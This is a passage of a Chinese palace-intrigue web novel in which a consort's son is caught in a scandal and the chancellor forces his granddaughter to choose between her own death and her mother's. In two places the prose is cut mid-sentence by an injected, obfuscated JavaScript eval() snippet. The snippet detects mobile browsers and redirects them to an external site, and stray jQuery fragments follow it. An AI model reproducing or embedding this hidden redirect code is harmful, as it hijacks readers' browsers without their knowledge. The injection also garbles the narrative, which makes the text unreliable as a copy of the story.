“她装疯卖傻的说起当年之事,又是砸又是打、害的本宫被禁足、煦鹏被降为郡王,如今竟还有脸来求本宫?你出去告诉那丫头,本宫今日身子不爽,赶紧将人打发走就是!” 朗月见状不敢多言,只得转身退了出去。 陆贵嫔闭眼躺在床上喘粗气。 商无忧这丫头疯是疯,可心里却雪亮如霜——她斥了瑾妃、伤了卫尉,本以为都是冲淑妃去的,没想到她并未忘记礼王与自己落井下石之举,居然借着宫宴报复了回来! 陆贵嫔叹了口气,当年之事也怪不得自己,虽说懿慈皇后对自己有恩,可要想在这**不吐骨头的洛阳宫活下来,感恩之心断不可留! 陈氏一族倒了之后,懿慈皇后在宫中的势力树倒猢狲散,高淑妃和她背后的高氏一族却异军突起;她和煦鹏尚且不能自保,如何顾得上落难的长公主?! 昔日长公主被困于永巷,宫中谁人不去踩上一脚?只可惜大伙儿都没料到,疯癫无状的长公主居然还会有复起的那一天…… 陆贵嫔合眼躺了半晌,昏昏欲睡之际却听见推门之声,待睁眼一看,竟是朗月一脸为难的走了进来。 “娘娘,长公主身边的丫头说,若是娘娘果真不见她,她可就真就走了!” 陆贵嫔哼冷一声,“你是第一天办差?她要走便走,本宫堂堂贵嫔、位同副后,难道竟要受个贱婢要挟?” 朗月忙道:“可她说、说……” 陆贵嫔把眼一瞪,“一介贱婢还敢口出狂言?你放心大胆的说,那**究竟说了什么!” “那丫头说,长公主是念着与礼王殿下昔日的情谊这才将她派来,若娘娘真这般不识好歹她便去寻高淑妃;还说淑妃是个聪明人,惯会替自己的儿子谋算,到时娘娘可别后悔!” “混账,你带人出去给本宫掌这贱婢……” 陆贵嫔本怒发冲冠,想了想却又觉得不对。 什么叫惯会替自己的儿子谋算,难不成那丫头半夜跑这一趟,竟是为了煦鹏?! 思及此处她忙不迭翻身坐起,皱眉吩咐道:“反正也没得睡,你这就将那丫头叫进来,本宫倒要听听长公主她究竟要作甚!” 碧萝垂眸跟在朗月后头走进了寝殿,朝榻上之人躬身施礼:“奴婢见过贵嫔娘娘。” 陆贵嫔打了个哈欠,“长公主都不睡觉的吗?有事怎地就不能白日里说,非要三更半夜的扰人清梦!” “娘娘恕罪,实在是事关重大,断断等不到明日……” 陆贵嫔撇了撇嘴,“少拿这话吓唬 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15793700|172807||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人,若真有大事长公主为何不去寻陛下?长公主如今颇得圣心,殿下若有什么想要的白日里派人来知会一声便是,咱们岂有不应的?实在犯不着深更半夜的为难人……” 碧萝闻言不住冷笑,死到临头还不自知,若不是眼下这对母女还对殿下还有些用处,她才不愿为这忘恩负义之人跑一趟呢! 她高高昂起头,冷冷道:“殿下一片好心竟换来贵嫔一顿抱怨,奴婢乃长公主的贴身侍婢,实不忍见殿下被人误会。既然娘娘不在意礼王的生死前程,奴婢这便去寻高淑妃;虽说她一直与殿下针尖对麦芒,可成王殿下却对长公主颇为尊重。” “说到底无论太子之位究竟花落谁家与长公主何干?我家殿下已稳坐天命神女之位,未来大辉的朝堂必有殿下一席之地,这一点高淑妃可比您看得透彻!” 语毕碧萝微微屈了屈膝,“娘娘且安歇吧,奴婢这就告辞了!” “站住!” 陆贵嫔忽的大喝一声,“好个贱婢,在本宫处大放了一通厥词,就想这么走了?你给本宫说清楚,到底什么事关乎我儿的生死前程?你所说之事若真属实本宫便饶了你不死,若是长公主派你来戏弄本宫……” 说着朝身旁一个上了年纪的老太监使了个眼色,那太监屈身走上前来,一道白绫从他宽大的袍袖中轻轻垂下。 碧萝见状微微一笑,“娘娘何必吓唬奴婢?长公主驾前事忙,若非大事奴婢是断断离不得殿下身边的。” 说着她来至陆贵嫔身前,伏在她耳边低声道:“今日长公主设宴于芙蓉楼宴请两国使臣,不知礼王如何得到的消息,竟不请自来的带着相府的高小姐前来赴宴。礼王不仅在席间与北狄大王子称兄道弟、极力拉拢,还与高小姐举止亲密。宴至半酣、二人双双离席,” “后芙蓉楼上似有刺客出现,因事关重大,成王调城皇司与京兆衙门的甲士和两国使者一同擒贼,竟意外撞破礼王与高家小姐行苟且之事。眼下人已经被成王扣住、明早就要押着他去见陛下了!” 第一百九十四章 如何脱罪 陆贵嫔脑中轰的一声。 她一把拉住碧萝的胳膊,声嘶力竭道:“你说谎!礼王怎会与那高若馨……再说成他凭什么拿人?!再说那高若馨不过臣子之女,难道陛下会为了个贱丫头而惩罚自己的儿子?” 碧萝用力挣脱了陆贵嫔的手,轻声道:“那么多双眼睛都看到的事,奴婢岂敢乱说?!礼王殿下可是与那高若馨被人赤身露体的堵在床上,成王好歹是高若馨的表哥,岂有不维护表妹之理?再说那高若馨可是丞相府的嫡女,此桩丑事若是只被皇城司和京兆衙门的人看见也罢了,可如今连北狄和南诏而来的两国使臣都瞧得真真切切,这不是将人丢到外头去了吗?” “礼王虽是皇兄,品级却不及成王,且当时楼上杯盘狼藉、他二人似是起过冲突,成王便说是礼王对高小姐用强所致;在加上高小姐当时已晕了过去,而她的侍女哭哭啼啼、非说她家小姐是被人所害,当着外国使者的面,成王只得将人拿了!” 朗月面色一白,焦急的看向一脸呆滞的陆贵嫔,“娘娘,这可如何是好?” “没关系、没关系!” 陆贵嫔攥着拳,喃喃道:“不过是个女子,煦鹏是陛下的长子,陛下不会将他怎么样的……” “可那高若馨毕竟是相府千金啊!” 朗月扑通一声跪倒在地,跪爬向榻上的陆贵嫔,拉着她的袍子急急道:“按大辉律法,强抢民女乃是重罪:高子霖乃国之重臣,他岂会让自己的嫡孙女被污了名节,到时他只需叫高若馨一口咬定是咱们殿下用强,礼王殿下便是有一千张嘴也说不清啊!” 陆贵嫔也知事态严重,忙道:“来人,赶快为本宫梳妆,本宫要去相府……” “眼下宫门已下了钥,娘娘您如何出得去?便是出得去,娘娘以为高相会愿意见您吗?” 碧萝叹了口气,“高家早就盼着能将礼王殿下拉下马,如今好容易逮到机会,高子霖怕是会活活咬死礼王,又怎会轻易松口?” “只要将礼王拉下马,就没人再能与礼王争储位了!” 陆贵嫔脸色愈发苍白,忙不迭朝朗月道:“给本宫更衣,本宫要去寻陛下……不,不用梳洗上妆,本宫要脱簪待罪、跪于太极殿门口,替煦鹏赎罪!” 碧萝忙道:“娘娘不可!” “您若真如此做便等于承认了礼王殿下犯下大错,到时高子霖只需带领群臣稍加威逼,陛下便是想回护于殿下,只怕也不能够了!” “这可如何是好……” 陆贵嫔跌坐在榻上,忽的怒道:“该死的高家、该死的成王,他们处心积虑陷害我儿,甚至不惜用自己女儿引我儿入彀,他们害得我儿名誉扫地,我定不与他们善罢甘休!” “娘娘此时还是该尽快想想该如何帮礼王殿下脱险才是!” 碧萝朝陆贵嫔福了福身,“奴婢已将长公主的话带到,这便先回去了!” “碧萝姑娘且慢!” 听闻她要走,陆贵嫔忙不迭站起身,焦急的祈求道:“姑娘即是长公主派来的,想必有救我儿的办法,还请姑娘不吝赐教!” 碧萝忙道:“娘娘说笑了,奴婢能有什么法子?长公主确实只叫奴婢来传信,至于其他的,奴婢实在是……” “姑娘莫非是在气本宫刚刚对你不敬?” 陆贵嫔疾步来至碧萝跟前,亲热的拉起她的手,顺势将手上一只绿的通透的翡翠镯子往碧萝腕上套去,口中道:“好姑娘,本宫刚刚不知厉害,这才有所冒犯,这便给姑娘赔罪了!姑娘是长公主身边的人,行事见识都强过我这深宫妇人,殿下能遣姑娘前来必是有所指派。” 不愧是久在深宫之人,一手前倨后恭竟玩的毫无破绽。 “姑娘也知道礼王与长公主格外亲厚,她二人到底是从小的情谊,又岂是成王那等口蜜腹剑之人可比?” “还请姑娘看在长公主的份上,对本宫提点一二!” 碧萝垂下眼,以手探向腕间,只觉触手一片温润,这才露出个笑脸,轻声道:“娘娘好生客气!其实奴 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15801969|172807||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 婢来之前长公主确实有所交待……娘娘说的不错,咱们殿下与礼王一同长于懿慈皇后身边,便是之前闹过些不愉快,到底也有从小到大的情分在,在长公主心中,自然是更看重礼王殿下,这才命奴婢深夜前来送信,就是想让娘娘有个准备。” “咱们殿下说了,宫门既已下钥,便是有天大的事,高家和成王也要等着天亮之后才能将此事禀告给陛下。在此之前,娘娘还有三个时辰,礼王殿下能否转危为安,就看娘娘的了!” 陆贵嫔一脸茫然,“可这宫门已关。外头的人进不来、本宫当然也出不去,要如何才能帮我儿脱罪啊……” 碧萝笑道:“说来说去还不是男男女女那些事!成王殿下乃皇长子,说起来还是他高家高攀了!眼下成王不过是咬住了殿下对高家小姐‘用强’,若是咱们能找到证据,证明那高若馨是自愿的;或再更近一步,证明她是有意勾引,这事情就有转机了……” 陆贵嫔心头霎时雪亮—— 说的不错! 高家便是先声夺人、拿住了礼王用强在先,这才以此为剑、将她母子二人逼上绝路;只要寻到高若馨不贞的铁证,便能证明他高家之女不过是个**货,如此不仅煦鹏能够幸免于难,说不定还能反将高家和成王一军! 碧萝见她眉头终于松了开来,便道:“宫外的事便交给长公主——明日御前那高若馨的侍女会将她家小姐蓄意勾引的事实说个分明,到时娘娘只需拿出您附后的款儿、替礼王殿下据理力争,长公主也会对皇兄出言回护,届时此事必会大事化小……” 陆贵嫔忙露出个感激的笑,“如此我便放心了!只是殿下的大恩大德,本宫该如何报答才好呢?” 碧萝温声道:“高氏一族频频发难,长公主与贵嫔娘娘可谓同仇敌忾。日子还长着呢,有今时和往昔的情分在,相信他日长公主但有所托,礼王与贵嫔娘娘必不会相负!” 陆贵嫔忙不迭点头,“姑娘说的是,他日若长公主有所差遣,本宫万死不辞!” 第一百九十五章 作恶的是礼王 待送走了碧萝,朗月这才忧心忡忡朝陆贵嫔道:“娘娘,那丫头说的话可行吗?” 刚刚手持白绫的老内监闻言走上前来,垂头低声道:“老奴觉得那丫头的法子可行。大殿下毕竟是陛下的亲骨肉,万没有为了臣子之女责罚皇子的道理。况且高家权势日盛,实非陛下所愿,娘娘想想当初的太傅陈嘉尚便明白了!” 陆贵嫔眼神一亮,“大监说的没错,陛下忌惮高家,若不是高氏连生了两儿一女,就凭她那下贱出身,如何能爬上淑妃之位!” 老内监头也没抬,继续道:“娘娘对老奴的恩德老奴无以为报,此番殿下遇险,若娘娘不弃,只管听老奴一言!” 陆贵嫔喜形于色,“于大监之前可是皇后身边的红人,您见的事多,此番若我儿能成功脱险,本宫必有厚赏!” “只是,本宫不知到底该不该信长公主……” 于內监这才微微直起身,低声道:“长公主原就是刚烈性子,疯了之后脾气愈发难以捉摸;可刚刚那丫头有一一句话说的不错——与成王相比,长公主更愿意看到礼王殿下坐上储位。她既与咱们利益相投,便断不会眼睁睁看着礼王倒下!” 陆贵嫔默了默,却又迟疑道“既如此当初宫宴上她为何对我儿突然发难……” “长公主睚眦必报,依老奴来倒是好事!” 于內监看了看陆贵嫔,轻声道:“殿下当初许是不该对长公主袖手旁观,可长公主心里也明白,这世上拜高踩低之人比比皆是,若非如此她怎会如丧家犬般龟缩于永巷八年?!如今她出了气、对礼王便再没了心结,她若真想报一箭之仇,礼王殿下又岂会是降位这么简单?” “就如那淑妃,她可是害长公主疯癫八年的罪魁祸首,长公主如今炙手可热,却为何不对其发难?长公主处事决绝,必是想一击中的、好叫淑妃和整个高家死无葬身之地!” 老太监说着微微一笑,“娘娘细想便是!” 经他这一点拨,陆贵嫔这才豁然开朗—— 无怪乎曾是皇后身边的大监,果真有过人之处!便追问道:“请问大监,本宫明日该如何做才能救下煦鹏?” 闻言于內监笑的高深莫测,“娘娘附耳过来!” …… 半晌之后,于大监这才弓着身子走出了寝殿,黑暗中一个內监打扮之人走上前来,在他身旁低声道:“大监可把话都说明白了?” 于大监朝那人拱了拱手,“将军放心,明日陆贵嫔必会按计划行事!” 那人点了点头,“此番着实有劳大监了,大监放心,咱们大仇得报的日子不远了。” 于大监叹了口气,“听闻小主人在司命祭礼上受了重伤,也不知好利索了没有……老奴还听说祭礼上出了刺客,还好他们没伤到小主人……” 小内监嘿嘿一笑,“大监勿怪,司命祭礼上刺杀皇帝的人是某派去的!” 闻言于大监心头一跳,“将军您怎么……唉,老奴早说过不是不报、时候未到,您何必如此着急动手?此番行动太过冒失,若是将军一时不察、失手被擒,当如何是好?老奴知道将军不怕死,可若这是牵扯到小主人,只怕会负了太傅所托……” 小内监在他面前转了个圈,冷笑道:“某如今便成这个样子,谁能认得出?连大监也几乎将某认错,不是吗?” 于大监摇了摇头,“将军九死一生才逃出升天,当真不易……眼下小主人情势堪忧,我等是否该主动与小主人联络……” 小内监摆了摆手,“不急,小主人不知咱们存在才能放开手脚施展,我等是她最后的底牌,若最后……咱们便豁出性命,好歹可保小主人平安远离大辉!” 于大监闻言这才点了点头,“将军所说甚为有理,老奴依令而行就是!” ----------------- “好个不孝女,高家的脸都让你丢尽了!” 啪! 一个巴掌重重打在高若馨脸上,高炯算是习武之人,高若馨立时被打的向后倒去;张氏见状忙扑过去将人抱在怀里,一脸哀痛的朝高炯道:“今日种种都是礼王做的孽,老爷您为何责打自家女儿?!” 高炯气的胡子乱抖,朝着张氏怒吼道:“好个无知蠢妇,还敢为这个不孝女鸣不平!若不是你平日里将她宠的无法无天,她又怎敢做出这般丑事?” “这下可好,全京都的人都瞧见这个贱丫头赤身露体的和礼王抱在一处,你叫我今后如何见人?” 闻言高子霖眼神中闪着寒光,冷冷道:“不只洛阳都城之人,北狄和南诏的使者也看到了,过不了多久,高家女淫贱下流的名声只怕要传遍四国了!” 高炯一怔,忙冲喝道:“居然还有这样的事?!好啊,老子今天非好好打你一顿出出气!来人,速速将我的鞭子取来!” 张氏闻言忙紧紧将女儿护在怀中,流着泪道:“作恶的是礼王,老爷为何要打我的女儿?老爷这些年的卫尉竟是白做了!您如今在礼部供职,难不成连武人的血性也一并丢弃不顾了!老爷只会在家中称霸王,您若真有雷霆手段,为何不去与那礼王拼命?!” 高炯被妻子一发话气的发昏—— 这个蠢货,难道就没看出他今日这番作为是要救馨儿吗…… 高子霖闻言不由冷笑,“老大家的,你叫我儿去与皇子搏命,岂非是拉着全家为你的不孝女陪葬?莫不是你与炯儿生了二心,这才有意坑害我家?” 眼角的泪水一滞,张氏慌忙抬头去看稳稳坐在太师椅上的高子霖——却见公公往日里宽容慈爱的面容早已不复存在,取而代之的是满脸的无情冷漠、和眼中那一抹叫人肝胆俱裂的森然杀意! “父、父亲大人,儿媳嫁入高家十几年,又怎会……” 高子霖哼了一声,“既然你还是高家的媳妇儿,便将嘴给我闭死,这相府还轮不到你当家!” 第一百九十六章 宠坏的女儿 张氏大骇,这还是公公头一回用这般生硬又冰冷的语气和她说话。 高若馨猛地从母亲怀中抬起头,无限凄楚的看向自己的祖父,悲戚道:“祖父说馨儿是您的掌上明珠,如今孙女叫那礼王欺负了去,祖父就不为孙女做主吗?” “母亲不过是替孙女说了两句公道话,竟惹来祖父好一顿责骂!您堂堂丞相之尊,何必怕个不成气候的皇子?为了孙女的清白你一定要好好惩罚此子!” “你不说我倒忘了!” 高子霖取过身旁茶杯轻啄一口,垂眸问道:“本相派出阻截礼王的暗卫被京兆衙门派人拦截,只因有人状告那几人是混入城中的北狄探子;待误会解释清楚,礼王早就不知所踪。老大家的,你可知道,这到京兆衙门告密的就是你这好女儿!” “她前脚叫人拦住了本相的人马,后脚竟用自己的车驾去撞礼王的马车!” “馨儿,你究竟想要做什么?” 张氏一脸真震惊的看向自己的女儿,公公的手段一向隐秘,馨儿她是怎么知道的公公的安排、进而插手政事的呢?! 高若馨擦了擦眼泪,“孙女不过是想要帮祖父的忙,手下人能做到的、孙女一样能做到,甚至比他们做得更好……” “所以你就上了礼王的马车?堂而皇之地与之一同赴宴?!” 这、外族是怎么知道的…… 对了,是柳儿的哥哥! 此人竟是祖父的耳目…… “祖父,是礼王逼馨儿的!” 高若馨向前跪爬了几步,抱着高子霖的腿哭道:“礼王向来与廷煜表兄不对付,孙女此番不过是想帮祖父!可馨儿把事想的太简单了——礼王心思阴毒,他花言巧语哄骗馨儿,说若孙女能在宴会上压制外国使臣,便能为高氏再添荣光……他还说、还说宁国公也会赴宴!” “祖父,馨儿是被猪油蒙了心,我实在忘不了赵二公子,这才被礼王所利用……祖父,您可一定要相信馨儿啊……” 见女儿哭的悲切,张氏心有不忍,刚要开口求情,却被丈夫一个凌厉的眼神钉在原地。 高子霖看着低头殷殷哭泣的嫡孙女,沉声叹道:“祖父手下能人干吏不计其数,其中不乏玩弄人心的高手,若连你那点心思都看不穿,这个丞相祖父不做也罢!” 高子霖轻轻垂下头,用让人战栗的声音答道:“你去拦礼王的车驾,怕是志在廷煜吧?” 高若馨哭声一滞,抬起头瞪着通红的双眼道:“祖父以为馨儿真的这般没廉耻,竟是图谋自家表兄之人吗?祖父您知道,馨儿喜欢的一直都是赵家二公子……” 高子霖伸手摸了摸她的发,低声道:“你以为能骗得过祖父?礼王如今在我手中,他可是将什么都说了……” 高若馨只觉一阵心虚,犹自强辩道:“祖父不信只管去审,孙女没说谎……” “你是说你身边的侍女吗?那人祖父已经审过了,那丫头也是什么忠贞之人,几针下去便什么都招了!” 高子霖一双眼散发出阵阵寒光,死死叮嘱一脸惊愕的高若馨,“本想叫人剥去她十片指甲,算是惩罚她不思规劝主人的罪责——你为了不嫁张子昂,竟把主意打到廷煜头上,想在使团宴上借着阻截礼王之功在他面前献殷勤,还想在他酒水中下药,不惜用自己的清白之身怂恿廷煜用皇子的身份逼高家与张家退亲;谁料你心志不坚、竟在半道被礼王策反,用了他给的药去算计赵元婴!” “阴差阳错之下你竟与礼王行了苟且之事,你的丑事被众人撞破,又瞧不上礼王的刚愎自用,这才反咬了他一口,是也不是?!” 张氏在一旁听得胆战心惊,颤声道:“父亲,一定是弄错了!馨儿怎么会如此行事呢?什么下药、什么逼迫您低头,馨儿是个好孩子,她断不会……” 高子霖转头看了她一眼,沉声道:“你可知张子寿已在人前放话,他张家从今往后与我高家恩断义绝?” 闻言,张氏的身子终于变得瘫软,喃喃道:“怎么会、怎么会……” 高炯见妻子如此不由一阵心酸,他看了看高子霖身旁一脸冷漠的女儿,不由怒从心头起,指着她的鼻子破口大骂道:“混账东西,祖父和老子几辈子的老脸都被你丢尽了,你竟还不知悔改……” “父亲被长公主打破了头,呼痛之声整个洛阳宫都听见了,高家的脸早在那时被父亲丢尽了,如何轮得到女儿呢……” 高炯满面通红,瞪着眼睛厉声道:“死丫头,你浑说些什么?” 高若馨擦了擦眼角的泪,忽的破涕为笑。 “女儿何曾浑说?堂堂相府、居然要靠将嫡长女嫁给个声名狼藉的跛子来挽回颜面,祖父这丞相做的实在窝囊!” 张氏闻言浑身一震,茫然道:“馨儿,你胡说些什么……” 高若馨狠狠瞪了母亲一眼,“我说过我不要嫁给张子昂,那是个风流乖张的浪荡子,嫁给他我往后还有什么前程?!偏你们谁也不肯替我做主——当初我喜欢赵二公子你们便拦着、如今我不愿嫁张子昂你们又不许,你们到底想要我怎么样?” “父亲、母亲不替馨儿的未来着想,馨儿总要顾着自己才是,难不成非要等到熬成一副白骨,才算得上为家族兴盛奉献一生的好女儿?” 张氏白着脸,不敢置信的盯着满脸愤恨的高若馨—— 自己百般算计为她着想、在夫君和公公面前尽力回护于她,没想到之换来她一腔怨愤! 想到她的所作所为,张氏不禁心灰意冷。 公公说得对,这孩子果然是被她宠坏了! “与张子昂的婚事是你自己自作自受,半分怪不得旁人。你实在不该迁怒于你母亲。” 高子霖冷冷注视着从小便被他捧在手心、视若珍宝的孙女,用无比沉重的声音说道:“因为你不顾后果的莽撞行为,你的母亲马上便要失去性命,若她一条命只换来女儿的一腔怨怼,岂非太过悲哀?” 第一百九十七章 求父亲饶她性命 张氏木讷的转过头,呆呆道:“父亲,您说的是什么意思……” 高炯最先回过味儿来,他一脸惊恐的跪倒在地,不住朝上叩头,苦苦哀求道:“父亲,求您饶了若馨她娘吧!自从儿子得了这媳妇,她操持家务、管理奴仆,对家中无一处不用心;如今相府蒸蒸日上、一切事务井井有条,这其中有张氏的一份功劳!” “求您看在儿子的份上,给她一条生路吧!” 见父亲的头都磕破了,祖父却依旧冷着脸一言不发,高若馨心头终于升起一丝恐惧。 她缓缓站起身。 祖父从小便疼爱自己,可如今他为了争权夺势竟要将自己舍弃! 在他高子霖心中何曾有过家人?只怕所有高氏族人的性命加起来,也没有高高在上的丞相之位重要! 高若馨冰冷的注视着高子霖,凄惨的笑道:“相府能有今日的鼎盛全靠阿娘这个大妇操持,阿娘好歹是张氏女,祖父凭什么一言定她的生死?” “就因为你不知检点,屡次与人行不轨之事,且次次被人捉了个现行,你母亲就必须死!” 高子霖语气虽轻,话中的分量却有千斤—— “你与张子昂那一回已拖累的高氏女眷名声尽毁,淑妃在陛下面前连头都抬不起,你父亲更是连九卿之位都保不住!若不是有我这个做丞相的父亲,只怕他便要被逼辞官了!我本以为你你会幡然悔悟,没想到你竟愈发得寸进尺!” “张家虽是旺族,可张子昂不过是在大理寺领了个虚衔,只要老夫不死,日后张家终究是要高看你一眼的。” “可你此番招惹的是个皇子!陛下就是再宠祖父,也不会为你个声誉有损女子责罚他自己的儿子!” 高子霖的话像刀子,直直戳向高若馨的心房! “祖父权势再盛终究也是陛下的臣子,岂敢凌驾于皇子之上?你还敢说礼王用强?只要他对陛下开口,祖父就是再不舍也要将你交出去!退一万步说,他真是强要了你,便是祖父一头碰死在金殿之上,陛下也不会将礼王如何!” 高若馨面上血色渐无。 高子霖朝还在不断磕头的儿子摆了摆手,“炯儿,你起来吧!非是为父心狠,实在是皇权巍巍,为父只能弃车保帅……” 闻言高炯眼中流下两行滚烫的泪,手上动作却未停,地上很快便现出一滩血迹。 高子霖眼神愈发冰冷,口气也严厉了起来:“炯儿,为父已经老了,日后高家便要由你来做主,你如此不知自爱,叫为父如何放心将整个高家交到你手中?!” 高炯对父亲的话置若罔闻,只机械的重复朝父亲磕头的动作,口中不住道:“求父亲饶她性命……” 见他如此,高子霖摇头叹道:“如此心软、难成大事!” 说罢又瞧了瞧目露不甘的高若馨,冷然道:“你倒是个狠心的,只可惜私欲太重,若高家日后落到你手中,只怕会有灭族之祸……” “来人,将大老爷带出去,给他好好上药;明日他还要随本相到御前去认罪,高家的名声已经保不住了,万不能再在陛下面前失了体统!” 几个身强力壮的武士走上前来,将高炯架了出去。 见他还在挣扎,一旁的相府詹士高升忙凑了过来,低声劝道:“大老爷莫要再挣了,相爷定下的事几时变过?!眼下还有些时间,您还是想想如何安排夫人的身后事吧……” 高炯一怔,整个人忽的失去所有力气、往下瘫了下去;高升见状忙朝几人挥了挥手,“赶紧将老爷搀下去!” 站在高子霖身后一言不发的申嬷嬷忽的俯下身,在她耳边轻声道:“不知大夫人该怎么死?又该何时死?相爷好歹发下话来,老奴照着做便是!” 高若馨蓦的抬起眼,杀气腾腾的喝道:“好你个老货,竟敢在祖父耳边进谗言!谁敢动我母亲,我便与他拼命!” 高子霖叹了口气,朝着申嬷嬷道:“世家大妇,便是畏罪自戕也该给个体面些的死法。张氏嫁入高家十余年,没有功劳也有苦劳,还是用白绫吧!此事你要亲自去办,好歹也是为我高家生儿育女之人,莫要让她受太多的苦!” 申嬷嬷点了点头,“老奴心中有数,只是不知该什么时辰送大夫人上路?” 高子霖看着早已被吓傻的张氏,默然片刻才斩钉截铁道:“老大性子冲动,迟则生变,将人带回房后便动手吧……” 申嬷嬷朝下使了个眼色;两个健硕的婆子忙赶了上来,拖着瘫软在地的张氏便朝外走去。 张氏这才反应过来,高子霖是真的要她死! 她忽然剧烈的挣扎起来,口中亦不断呼喝:“我嫁入高家十几年,从未做过一件有损高家之事,父亲你怎能如此狠心……” “母亲!” 高若馨见状一声尖叫,猛的朝张氏扑了过去;申嬷嬷眼中寒光一闪,闪身来至高若馨身后,高若馨的手还没来得及碰到母亲的衣裳,便被她狠狠拉住手腕。 申嬷嬷朝两个婆子低声呵斥道:“府中出了大事,相爷此时烦透了!大夫人如此大呼小叫,若触怒相爷你们的命要是不要?还不快将人绑了,堵住嘴找人抬回去!记得盖严实些,若是有人问起就说大夫人得了急病,你们先去,我一会就来!” 身旁两个婆子下手极狠的将她绑住,紧接着口中便被塞入异物,竟是半丝反抗不得——张氏知败局已定,只是舍不下女儿,只得眼中含泪、朝着高若馨“呜呜呜”叫着。 高若馨心头大急,忙死命的挣扎起来。 申嬷嬷是习武之人,高若馨挣了半晌也挣不脱,眼看母亲就要被拖了出去,她心下大急,忽的一口狠狠咬在申嬷嬷手上;申嬷嬷皱了皱眉,任由她将自己的手咬出了血,却丝毫没有将人放开的意思。 母亲的呜咽声渐渐远去,一阵无力感瞬间漫上高若馨的四肢百骸,她扑通一声跪在低上,朝着坐上的高子霖悲泣道:“祖父,若馨知道错了,求您饶了母亲吧!” 第一百九十八章 你来做决定 “母亲嫁入高家十几年,没有功劳也有苦劳;她为正个相府殚精竭略,从未有半分怠慢之心,您怎能忍心要她性命?!” 见高子霖依旧阴沉着脸无动于衷,高若馨心头愈发绝望。她没有办法,只得如同父亲般卑微、不住朝太师椅上以一副高高在上姿态睥睨自己的祖父磕着头,涕泪横流的祈求道:“祖父开恩!千错万错都是馨儿一人之错,祖父要杀要剐只管冲着我来就好。阿娘她是无辜的,求您给她一条生路吧……” 高子霖冷漠的哼了一声,“说的倒轻松!这天大的祸事你一人如何担待得起来?你以清白之躯将我大辉皇子冠上强抢臣子之女、行淫乱之事的罪名,你想没想过本相要如何向陛下交待?!陛下的皇子是不能担污名的,而这男男女女之事偏偏最说不清,高家若没有人以死谢罪,陛下的怒火只怕不能平息!” 他冷冷注视着俯身在地的孙女,沉声质问道:“都说养不教父之过,难不成真叫你父亲去顶罪?救了母亲却失了父亲,你竟也愿意吗?” 高若馨对他的话置若罔闻,只不住祈求道:“求祖父饶恕母亲、求祖父饶恕母亲……” 高子霖见状不屑的嗤了一声,放松身躯朝后头舒服的靠去,口中冷冷道:“炯儿是我高家未来之主,区区妇人、也配让他毁去自己的前程?张氏已难逃一死,你便是再苦苦哀求。祖父也断不会收回成命!” 高若馨眼前早已模糊不清,却还是保持着磕头的姿势,直磕到额头血肉模糊也不肯停歇,似是要借机抒发自己心头的愧疚。 高子霖看了她半晌,忽的微弯下腰、轻声道:“你真的想救她?!” 听音辨意,高若馨闻言好似抓住救命稻草般欣喜若狂起来。她忙不迭抬起头,朝着高子霖信誓旦旦道:“只要祖父能饶过母亲一条命,馨儿愿意付出任何代价!” 高子霖点了点头,叹道:“既如此,祖父只好将你的性命取走了!” 高若馨脸上的喜色一滞,急急道:“您什么意思……” “祖父刚刚说过,皇子不能担污名——此事既因你而起、也必须由你而终!” 高子霖看了看身子不住发抖的高若馨,沉声道:“你死了,礼王的贤名就还保得住——祖父会上报陛下,说老夫教子不善,孙女酒后失德丢了清白,此事与礼王无关!老夫本该带你至御前请罪,奈何你酒醒后自觉无言面对众人,因怕触怒龙颜而畏罪自戕……” 高若馨闻言不住冷笑,“畏罪自戕?!陛下耳聪目明不会被您蒙蔽,当知孙女是被祖父私下处死!” 高子霖语气愈发冷酷,“那又如何?!杀了你好歹留下个大义灭亲的美名,高氏一族被败坏了的名声便还有机会能挽回来。祖父之后会上请罪奏疏,自请卸去丞相一职;而陛下则会心怀愧疚、再三挽留,倒时礼王会亲自上门恳求原谅,祖父则顺势回到朝堂,此事便大事化小、再化了了……” 高若馨闻言渐渐止了哭泣。 她跪坐于地,抬起眼冷冷的看向自己的祖父,嘴角勾起一个比哭还难堪的弧度,大喇喇讽刺道:“不愧是浸淫朝政多年的当朝宰相。几乎一败涂地的局面,居然在祖父的斡旋下奇迹般的转败为胜孙!孙女的一条贱命竟能换来祖父几十年的荣华,您老人家当真好算计……” “若没有老夫的谋算,高家如何能有今日的辉煌!” 高子霖抬手端起身旁的茶杯——杯中茶早已凉透,他却浑然不觉的饮了几口,随后将茶杯往案上重重一搁,那一声脆响仿佛敲在高若馨心头,叫她从灵魂深处升起一股毛骨悚然的战栗。 “这杯茶喝完之前,你需得拿个主意出来——莫要说祖父不念旧情,畏罪自尽的到底是我高氏女还是他张家妇,此番都由你来定夺!” 高若馨闻言大汗淋漓—— 母亲不能死,她一定要救母亲! 她怕死、却也不想看着母亲去死;一想到那白绫勒在自己颈上的情形,她便不寒而栗—— 她还有很多事要做——礼王、商无忧,她还没亲口将他们也咬死;还有狠心的祖父、申嬷嬷,她也不想让他们好过…… 到底该怎么办,谁来救救她…… 高若馨在度日如年的痛苦煎熬中,眼睁睁看着祖父喝光了杯中茶。 她死死攥紧拳,任由指甲将手心抠的鲜血淋漓也不松开分毫。 高子霖深深看了她一眼,叹道:“看来你是想好了!” “也罢!” 